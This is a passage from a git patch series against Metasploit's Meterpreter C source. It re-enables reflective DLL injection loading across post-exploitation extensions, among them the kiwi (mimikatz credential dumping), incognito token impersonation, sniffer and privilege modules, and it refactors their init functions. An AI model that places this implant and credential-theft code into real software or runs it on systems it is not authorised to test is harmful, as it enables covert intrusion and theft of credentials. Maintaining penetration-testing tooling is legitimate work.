dprintf("[LOADREFLECTIVELY] Failed to fix IAT\n"); + met_api->win_api.kernel32.VirtualFree(pDLLBaseAddress, 0, MEM_RELEASE); return FALSE; } diff --git a/c/meterpreter/source/metsrv/extension_loader.h b/c/meterpreter/source/metsrv/extension_loader.h index 89a1a93f4..cdd88b378 100755 --- a/c/meterpreter/source/metsrv/extension_loader.h +++ b/c/meterpreter/source/metsrv/extension_loader.h @@ -1,3 +1,5 @@ +#ifndef _METERPRETER_METSRV_EXTENSION_LOADER_H +#define _METERPRETER_METSRV_EXTENSION_LOADER_H #include "common.h" typedef struct _BASE_RELOCATION_ENTRY { @@ -5,4 +7,5 @@ typedef struct _BASE_RELOCATION_ENTRY { WORD Type : 4; // Indicates the type of base relocation to be applied. } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; -BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE* phModule); \ No newline at end of file +BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE* phModule); +#endif // _METERPRETER_METSRV_EXTENSION_LOADER_H \ No newline at end of file From 288858c63a435198a4845e6407a19c48fffcaa85 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Wed, 8 Apr 2026 14:02:47 +0200 Subject: [PATCH 09/23] Restores extensions --- .../source/extensions/bofloader/bofloader.c | 10 +- c/meterpreter/source/extensions/espia/espia.c | 10 +- .../source/extensions/extapi/extapi.c | 10 +- .../source/extensions/incognito/incognito.c | 10 +- c/meterpreter/source/extensions/kiwi/main.c | 104 +++++++-------- .../source/extensions/lanattacks/lanattacks.c | 12 +- .../source/extensions/peinjector/peinjector.c | 10 +- .../source/extensions/powershell/powershell.c | 10 +- .../source/extensions/priv/precomp.h | 4 + c/meterpreter/source/extensions/priv/priv.c | 9 +- .../source/extensions/priv/tokendup.c | 4 +- .../source/extensions/python/python_main.c | 124 +++++++++--------- .../source/extensions/sniffer/precomp.h | 6 +- .../source/extensions/sniffer/sniffer.c | 10 +- .../source/extensions/stdapi/server/precomp.h | 124 +----------------- .../source/extensions/stdapi/server/stdapi.c | 9 +- .../stdapi/server/sys/process/image.c | 2 +- .../stdapi/server/sys/process/in-mem-exe.c | 4 +- .../source/extensions/stdapi/server/ui/ui.c | 1 - .../source/extensions/unhook/apisetmap.h | 2 +- .../source/extensions/unhook/refresh.c | 2 +- .../source/extensions/unhook/unhook.c | 10 +- .../winpmem/winpmem_meterpreter.cpp | 4 +- 23 files changed, 169 insertions(+), 322 deletions(-) diff --git a/c/meterpreter/source/extensions/bofloader/bofloader.c b/c/meterpreter/source/extensions/bofloader/bofloader.c index 0fb82f119..8e8fe5d6e 100644 --- a/c/meterpreter/source/extensions/bofloader/bofloader.c +++ b/c/meterpreter/source/extensions/bofloader/bofloader.c @@ -12,9 +12,8 @@ // Required so that use of the API works. MetApi* met_api = NULL; -HINSTANCE hAppInstance = NULL; -//#define RDIDLL_NOEXPORT -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#define RDIDLL_NOEXPORT +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" /*! @brief The enabled commands for this extension. */ Command customCommands[] = @@ -88,13 +87,11 @@ DWORD request_execute(Remote* remote, Packet* packet) * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. - * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) +DWORD InitServerExtension(MetApi* api, Remote* remote) { met_api = api; - hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all(customCommands); @@ -109,7 +106,6 @@ DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all(customCommands); - hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/espia/espia.c b/c/meterpreter/source/extensions/espia/espia.c index d41d4090d..06787d0d6 100644 --- a/c/meterpreter/source/extensions/espia/espia.c +++ b/c/meterpreter/source/extensions/espia/espia.c @@ -9,10 +9,9 @@ // Required so that use of the API works. MetApi* met_api = NULL; -HINSTANCE hAppInstance = NULL; -//#define RDIDLL_NOEXPORT -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#define RDIDLL_NOEXPORT +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" Command customCommands[] = { @@ -24,13 +23,11 @@ Command customCommands[] = * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. - * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote *remote, HINSTANCE hinst) +DWORD InitServerExtension(MetApi* api, Remote *remote) { met_api = api; - hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all( customCommands ); @@ -46,7 +43,6 @@ DWORD InitServerExtension(MetApi* api, Remote *remote, HINSTANCE hinst) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all( customCommands ); - hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/extapi/extapi.c b/c/meterpreter/source/extensions/extapi/extapi.c index f7181bab7..f78025122 100644 --- a/c/meterpreter/source/extensions/extapi/extapi.c +++ b/c/meterpreter/source/extensions/extapi/extapi.c @@ -8,10 +8,9 @@ // Required so that use of the API works. MetApi* met_api = NULL; -HINSTANCE hAppInstance = NULL; -//#define RDIDLL_NOEXPORT -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#define RDIDLL_NOEXPORT +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "window.h" #include "service.h" @@ -47,13 +46,11 @@ Command customCommands[] = * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. - * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) +DWORD InitServerExtension(MetApi* api, Remote* remote) { met_api = api; - hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all(customCommands); @@ -72,7 +69,6 @@ DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all(customCommands); - hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/incognito/incognito.c b/c/meterpreter/source/extensions/incognito/incognito.c index bc775f1db..ce97bce7b 100644 --- a/c/meterpreter/source/extensions/incognito/incognito.c +++ b/c/meterpreter/source/extensions/incognito/incognito.c @@ -13,10 +13,9 @@ // Required so that use of the API works. MetApi* met_api = NULL; -HINSTANCE hAppInstance = NULL; -//#define RDIDLL_NOEXPORT -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#define RDIDLL_NOEXPORT +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" DWORD request_incognito_list_tokens(Remote *remote, Packet *packet); DWORD request_incognito_impersonate_user(Remote *remote, Packet *packet); @@ -218,13 +217,11 @@ Command customCommands[] = * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. - * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) +DWORD InitServerExtension(MetApi* api, Remote* remote) { met_api = api; - hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all( customCommands ); @@ -240,7 +237,6 @@ DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all( customCommands ); - hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/kiwi/main.c b/c/meterpreter/source/extensions/kiwi/main.c index c64eb5103..fd47a8552 100755 --- a/c/meterpreter/source/extensions/kiwi/main.c +++ b/c/meterpreter/source/extensions/kiwi/main.c @@ -8,84 +8,81 @@ // Required so that use of the API works. MetApi* met_api = NULL; -HINSTANCE hAppInstance = NULL; -//#define RDIDLL_NOEXPORT -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#define RDIDLL_NOEXPORT +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "main.h" - + extern wchar_t * powershell_reflective_mimikatz(LPWSTR input); extern DWORD kuhl_m_kerberos_ptt_data(PVOID data, DWORD dataSize); -extern LONG mimikatz_initOrClean(BOOL Init); +extern LONG mimikatz_initOrClean(BOOL Init); -DWORD request_exec_cmd(Remote *remote, Packet *packet); +DWORD request_exec_cmd(Remote *remote, Packet *packet); //DWORD request_kerberos_ticket_use(Remote *remote, Packet *packet); /*! @brief The enabled commands for this extension. */ Command customCommands[] = { - COMMAND_REQ(COMMAND_ID_KIWI_EXEC_CMD, request_exec_cmd), + COMMAND_REQ(COMMAND_ID_KIWI_EXEC_CMD, request_exec_cmd), COMMAND_TERMINATOR }; -/*! - * @brief Handler for the generic command execution function. - * @param remote Pointer to the \c Remote instance. - * @param packet Pointer to the incoming packet. - * @returns \c ERROR_SUCCESS - */ -DWORD request_exec_cmd(Remote *remote, Packet *packet) -{ - DWORD result = ERROR_SUCCESS; - Packet * response = met_api->packet.create_response(packet); - - wchar_t* cmd = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD); - if (cmd != NULL) - { - dprintf("[KIWI] Executing command: %S", cmd); - - // While this implies that powershell is in use, this is just a naming thing, - // it's not actually using powershell. - wchar_t* output = powershell_reflective_mimikatz(cmd); - dprintf("[KIWI] Executed command: %S", cmd); - if (output != NULL) - { - met_api->packet.add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output); - } - else - { - result = ERROR_OUTOFMEMORY; - } - //LocalFree(cmd); - } - else - { - result = ERROR_INVALID_PARAMETER; - } - - dprintf("[KIWI] Dumped, transmitting response."); - met_api->packet.transmit_response(result, remote, response); - dprintf("[KIWI] Done."); - - return ERROR_SUCCESS; -} - +/*! + * @brief Handler for the generic command execution function. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming packet. + * @returns \c ERROR_SUCCESS + */ +DWORD request_exec_cmd(Remote *remote, Packet *packet) +{ + DWORD result = ERROR_SUCCESS; + Packet * response = met_api->packet.create_response(packet); + + wchar_t* cmd = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD); + if (cmd != NULL) + { + dprintf("[KIWI] Executing command: %S", cmd); + + // While this implies that powershell is in use, this is just a naming thing, + // it's not actually using powershell. + wchar_t* output = powershell_reflective_mimikatz(cmd); + dprintf("[KIWI] Executed command: %S", cmd); + if (output != NULL) + { + met_api->packet.add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output); + } + else + { + result = ERROR_OUTOFMEMORY; + } + //LocalFree(cmd); + } + else + { + result = ERROR_INVALID_PARAMETER; + } + + dprintf("[KIWI] Dumped, transmitting response."); + met_api->packet.transmit_response(result, remote, response); + dprintf("[KIWI] Done."); + + return ERROR_SUCCESS; +} + /*! * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. - * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) +DWORD InitServerExtension(MetApi* api, Remote* remote) { met_api = api; - hAppInstance = hinst; SET_LOGGING_CONTEXT(api) dprintf("[KIWI] Init server extension - initorclean"); - mimikatz_initOrClean(TRUE); + mimikatz_initOrClean(TRUE); dprintf("[KIWI] Init server extension - register"); met_api->command.register_all(customCommands); @@ -104,7 +101,6 @@ DWORD DeinitServerExtension(Remote *remote) { mimikatz_initOrClean(FALSE); met_api->command.deregister_all(customCommands); - hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/lanattacks/lanattacks.c b/c/meterpreter/source/extensions/lanattacks/lanattacks.c index f8f0db5f2..db69a4fb7 100644 --- a/c/meterpreter/source/extensions/lanattacks/lanattacks.c +++ b/c/meterpreter/source/extensions/lanattacks/lanattacks.c @@ -7,10 +7,9 @@ // Required so that use of the API works. MetApi* met_api = NULL; -HINSTANCE hAppInstance = NULL; -//#define RDIDLL_NOEXPORT -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#define RDIDLL_NOEXPORT +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include #include "lanattacks.h" @@ -178,13 +177,11 @@ Command customCommands[] = * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. - * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) +DWORD InitServerExtension(MetApi* api, Remote* remote) { met_api = api; - hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all(customCommands); @@ -213,7 +210,8 @@ DWORD DeinitServerExtension(Remote* remote) destroyDHCPServer(dhcpserver); dhcpserver = NULL; - met_api->command.deregister_all(customCommands); hAppInstance = NULL; + met_api->command.deregister_all(customCommands); + return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/peinjector/peinjector.c b/c/meterpreter/source/extensions/peinjector/peinjector.c index 3a251c74f..6d7bccf38 100644 --- a/c/meterpreter/source/extensions/peinjector/peinjector.c +++ b/c/meterpreter/source/extensions/peinjector/peinjector.c @@ -7,10 +7,9 @@ // Required so that use of the API works. MetApi* met_api = NULL; -HINSTANCE hAppInstance = NULL; -//#define RDIDLL_NOEXPORT -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#define RDIDLL_NOEXPORT +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "peinjector_bridge.h" @@ -24,13 +23,11 @@ Command customCommands[] = * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. - * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote *remote, HINSTANCE hinst) +DWORD InitServerExtension(MetApi* api, Remote *remote) { met_api = api; - hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all( customCommands ); @@ -46,7 +43,6 @@ DWORD InitServerExtension(MetApi* api, Remote *remote, HINSTANCE hinst) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all( customCommands ); - hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/powershell/powershell.c b/c/meterpreter/source/extensions/powershell/powershell.c index 1e62ed113..a95ca1221 100644 --- a/c/meterpreter/source/extensions/powershell/powershell.c +++ b/c/meterpreter/source/extensions/powershell/powershell.c @@ -7,10 +7,9 @@ // Required so that use of the API works. MetApi* met_api = NULL; -HINSTANCE hAppInstance = NULL; -//#define RDIDLL_NOEXPORT -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#define RDIDLL_NOEXPORT +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "powershell_bridge.h" #include "powershell_bindings.h" @@ -31,13 +30,11 @@ Command customCommands[] = * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. - * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) +DWORD InitServerExtension(MetApi* api, Remote* remote) { met_api = api; - hAppInstance = hinst; SET_LOGGING_CONTEXT(api) gRemote = remote; @@ -59,7 +56,6 @@ DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all(customCommands); - hAppInstance = NULL; deinitialize_dotnet_host(); return ERROR_SUCCESS; diff --git a/c/meterpreter/source/extensions/priv/precomp.h b/c/meterpreter/source/extensions/priv/precomp.h index ef5924e06..d9ee4a6dd 100644 --- a/c/meterpreter/source/extensions/priv/precomp.h +++ b/c/meterpreter/source/extensions/priv/precomp.h @@ -7,8 +7,12 @@ #include "passwd.h" #include "fs.h" +#include "../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" #define strcasecmp stricmp +// declared in ReflectiveLoader.c and set by DllMain also in ReflectiveLoader.c +extern HINSTANCE hAppInstance; #endif diff --git a/c/meterpreter/source/extensions/priv/priv.c b/c/meterpreter/source/extensions/priv/priv.c index 3a11ecd58..36cc04d73 100644 --- a/c/meterpreter/source/extensions/priv/priv.c +++ b/c/meterpreter/source/extensions/priv/priv.c @@ -6,7 +6,9 @@ // Required so that use of the API works. MetApi* met_api = NULL; -HINSTANCE hAppInstance = NULL; + +#define RDIDLL_NOEXPORT +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" /*! * @brief `priv` extension dispatch table. @@ -29,10 +31,9 @@ Command customCommands[] = * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) +DWORD InitServerExtension(MetApi* api, Remote* remote) { met_api = api; - hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all(customCommands); @@ -48,7 +49,7 @@ DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) DWORD DeinitServerExtension(Remote* remote) { met_api->command.deregister_all(customCommands); - hAppInstance = NULL; + return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/priv/tokendup.c b/c/meterpreter/source/extensions/priv/tokendup.c index 586e5fdcd..04fc46e7c 100644 --- a/c/meterpreter/source/extensions/priv/tokendup.c +++ b/c/meterpreter/source/extensions/priv/tokendup.c @@ -1,8 +1,8 @@ #include "precomp.h" #include "common_metapi.h" #include "tokendup.h" -//#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" -//#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.c" +#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" +#include "../../ReflectiveDLLInjection/inject/src/LoadLibraryR.c" /* * Enable or disable a privilege in our processes current token. diff --git a/c/meterpreter/source/extensions/python/python_main.c b/c/meterpreter/source/extensions/python/python_main.c index fd76fe784..e7d9b8c55 100644 --- a/c/meterpreter/source/extensions/python/python_main.c +++ b/c/meterpreter/source/extensions/python/python_main.c @@ -7,58 +7,61 @@ // Required so that use of the API works. MetApi* met_api = NULL; -HINSTANCE hAppInstance = NULL; -//#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN -//#define RDIDLL_NOEXPORT -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#define RDIDLL_NOEXPORT +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "python_commands.h" #include "python_meterpreter_binding.h" - -// This is the entry point to the python DLL, we proxy to this from our own init -extern BOOL WINAPI PythonDllMain(HANDLE hInst, ULONG ul_reason_for_call, LPVOID lpReserved); -extern BOOL WINAPI CtypesDllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvRes); - -Remote* gRemote = NULL; + +// This is the entry point to the python DLL, we proxy to this from our own init +extern BOOL WINAPI PythonDllMain(HANDLE hInst, ULONG ul_reason_for_call, LPVOID lpReserved); +extern BOOL WINAPI CtypesDllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvRes); + +Remote* gRemote = NULL; /*! @brief List of commands that the extended API extension providers. */ Command customCommands[] = { - COMMAND_REQ(COMMAND_ID_PYTHON_RESET, request_python_reset), - COMMAND_REQ(COMMAND_ID_PYTHON_EXECUTE, request_python_execute), + COMMAND_REQ(COMMAND_ID_PYTHON_RESET, request_python_reset), + COMMAND_REQ(COMMAND_ID_PYTHON_EXECUTE, request_python_execute), COMMAND_TERMINATOR }; -BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) -{ - switch (dwReason) - { - case DLL_PROCESS_ATTACH: - hAppInstance = hinstDLL; - break; - case DLL_PROCESS_DETACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - break; - } - - PythonDllMain(hinstDLL, dwReason, lpReserved); - CtypesDllMain(hinstDLL, dwReason, lpReserved); - return TRUE; -} - +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + { + *(HMODULE*)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + + PythonDllMain(hinstDLL, dwReason, lpReserved); + CtypesDllMain(hinstDLL, dwReason, lpReserved); + return TRUE; +} + /*! * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. - * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) +DWORD InitServerExtension(MetApi* api, Remote* remote) { met_api = api; - hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all(customCommands); @@ -81,37 +84,36 @@ DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) */ DWORD DeinitServerExtension(Remote *remote) { - met_api->command.deregister_all(customCommands); - hAppInstance = NULL; - - python_destroy_session(); + met_api->command.deregister_all(customCommands); + + python_destroy_session(); return ERROR_SUCCESS; } -/*! - * @brief Do a stageless initialisation of the extension. - * @param ID of the extension that the init was intended for. - * @param buffer Pointer to the buffer that contains the init data. - * @param bufferSize Size of the \c buffer parameter. - * @return Indication of success or failure. - */ -DWORD StagelessInit(UINT extensionId, const LPBYTE buffer, DWORD bufferSize) -{ - if (extensionId == EXTENSION_ID_PYTHON) - { - dprintf("[PSH] Executing stagless script:\n%s", (LPCSTR)buffer); - python_execute(NULL, (LPSTR)buffer, bufferSize, PY_CODE_TYPE_PY, NULL, NULL); - } - return ERROR_SUCCESS; -} - -/*! - * @brief Callback for when a command has been added to the meterpreter instance. - * @param commandId The ID of the command that has been added. - */ -VOID CommandAdded(UINT commandId) -{ - binding_add_command(commandId); +/*! + * @brief Do a stageless initialisation of the extension. + * @param ID of the extension that the init was intended for. + * @param buffer Pointer to the buffer that contains the init data. + * @param bufferSize Size of the \c buffer parameter. + * @return Indication of success or failure. + */ +DWORD StagelessInit(UINT extensionId, const LPBYTE buffer, DWORD bufferSize) +{ + if (extensionId == EXTENSION_ID_PYTHON) + { + dprintf("[PSH] Executing stagless script:\n%s", (LPCSTR)buffer); + python_execute(NULL, (LPSTR)buffer, bufferSize, PY_CODE_TYPE_PY, NULL, NULL); + } + return ERROR_SUCCESS; +} + +/*! + * @brief Callback for when a command has been added to the meterpreter instance. + * @param commandId The ID of the command that has been added. + */ +VOID CommandAdded(UINT commandId) +{ + binding_add_command(commandId); } diff --git a/c/meterpreter/source/extensions/sniffer/precomp.h b/c/meterpreter/source/extensions/sniffer/precomp.h index 44a1c4f47..e82169e89 100644 --- a/c/meterpreter/source/extensions/sniffer/precomp.h +++ b/c/meterpreter/source/extensions/sniffer/precomp.h @@ -5,11 +5,11 @@ #include "sniffer.h" -//#include "../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" +#include "../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" // declared in ReflectiveLoader.c and set by DllMain also in ReflectiveLoader.c -//extern HINSTANCE hAppInstance; +extern HINSTANCE hAppInstance; #define strcasecmp stricmp diff --git a/c/meterpreter/source/extensions/sniffer/sniffer.c b/c/meterpreter/source/extensions/sniffer/sniffer.c index e2fba3d19..45838ff87 100644 --- a/c/meterpreter/source/extensions/sniffer/sniffer.c +++ b/c/meterpreter/source/extensions/sniffer/sniffer.c @@ -35,12 +35,11 @@ Command customCommands[] = // include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function // but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the // second stage reflective dll inject payload and not the metsrv itself when it loads extensions. -//#define RDIDLL_NOEXPORT -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#define RDIDLL_NOEXPORT +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #define check_pssdk(); if(!hMgr && pktsdk_initialize()!=0){ met_api->packet.transmit_response(hErr, remote, response);return(hErr); } -HINSTANCE hAppInstance = NULL; HANDLE hMgr; DWORD hErr; @@ -740,13 +739,11 @@ DWORD request_sniffer_capture_dump(Remote *remote, Packet *packet) * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. - * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) +DWORD InitServerExtension(MetApi* api, Remote* remote) { met_api = api; - hAppInstance = hinst; SET_LOGGING_CONTEXT(api) dprintf("[SERVER] Registering command handlers..."); @@ -796,7 +793,6 @@ DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all(customCommands); - hAppInstance = NULL; MgrDestroy(hMgr); met_api->lock.destroy(snifferm); diff --git a/c/meterpreter/source/extensions/stdapi/server/precomp.h b/c/meterpreter/source/extensions/stdapi/server/precomp.h index 8f8b9c141..d62bf03fa 100644 --- a/c/meterpreter/source/extensions/stdapi/server/precomp.h +++ b/c/meterpreter/source/extensions/stdapi/server/precomp.h @@ -13,124 +13,6 @@ #include #include "resource/resource.h" -// The structure definitions below come from the original ReflectiveLoader.h -//===============================================================================================// -typedef struct _UNICODE_STR -{ - USHORT Length; - USHORT MaximumLength; - PWSTR pBuffer; -} UNICODE_STR, * PUNICODE_STR; - -// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY -//__declspec( align(8) ) -typedef struct _LDR_DATA_TABLE_ENTRY -{ - //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - PVOID DllBase; - PVOID EntryPoint; - ULONG SizeOfImage; - UNICODE_STR FullDllName; - UNICODE_STR BaseDllName; - ULONG Flags; - SHORT LoadCount; - SHORT TlsIndex; - LIST_ENTRY HashTableEntry; - ULONG TimeDateStamp; -} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; - -// WinDbg> dt -v ntdll!_PEB_LDR_DATA -typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes -{ - DWORD dwLength; - DWORD dwInitialized; - LPVOID lpSsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; - LPVOID lpEntryInProgress; -} PEB_LDR_DATA, * PPEB_LDR_DATA; - -// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK -typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes -{ - struct _PEB_FREE_BLOCK* pNext; - DWORD dwSize; -} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; - -// struct _PEB is defined in Winternl.h but it is incomplete -// WinDbg> dt -v ntdll!_PEB -typedef struct __PEB // 65 elements, 0x210 bytes -{ - BYTE bInheritedAddressSpace; - BYTE bReadImageFileExecOptions; - BYTE bBeingDebugged; - BYTE bSpareBool; - LPVOID lpMutant; - LPVOID lpImageBaseAddress; - PPEB_LDR_DATA pLdr; - LPVOID lpProcessParameters; - LPVOID lpSubSystemData; - LPVOID lpProcessHeap; - PRTL_CRITICAL_SECTION pFastPebLock; - LPVOID lpFastPebLockRoutine; - LPVOID lpFastPebUnlockRoutine; - DWORD dwEnvironmentUpdateCount; - LPVOID lpKernelCallbackTable; - DWORD dwSystemReserved; - DWORD dwAtlThunkSListPtr32; - PPEB_FREE_BLOCK pFreeList; - DWORD dwTlsExpansionCounter; - LPVOID lpTlsBitmap; - DWORD dwTlsBitmapBits[2]; - LPVOID lpReadOnlySharedMemoryBase; - LPVOID lpReadOnlySharedMemoryHeap; - LPVOID lpReadOnlyStaticServerData; - LPVOID lpAnsiCodePageData; - LPVOID lpOemCodePageData; - LPVOID lpUnicodeCaseTableData; - DWORD dwNumberOfProcessors; - DWORD dwNtGlobalFlag; - LARGE_INTEGER liCriticalSectionTimeout; - DWORD dwHeapSegmentReserve; - DWORD dwHeapSegmentCommit; - DWORD dwHeapDeCommitTotalFreeThreshold; - DWORD dwHeapDeCommitFreeBlockThreshold; - DWORD dwNumberOfHeaps; - DWORD dwMaximumNumberOfHeaps; - LPVOID lpProcessHeaps; - LPVOID lpGdiSharedHandleTable; - LPVOID lpProcessStarterHelper; - DWORD dwGdiDCAttributeList; - LPVOID lpLoaderLock; - DWORD dwOSMajorVersion; - DWORD dwOSMinorVersion; - WORD wOSBuildNumber; - WORD wOSCSDVersion; - DWORD dwOSPlatformId; - DWORD dwImageSubsystem; - DWORD dwImageSubsystemMajorVersion; - DWORD dwImageSubsystemMinorVersion; - DWORD dwImageProcessAffinityMask; - DWORD dwGdiHandleBuffer[34]; - LPVOID lpPostProcessInitRoutine; - LPVOID lpTlsExpansionBitmap; - DWORD dwTlsExpansionBitmapBits[32]; - DWORD 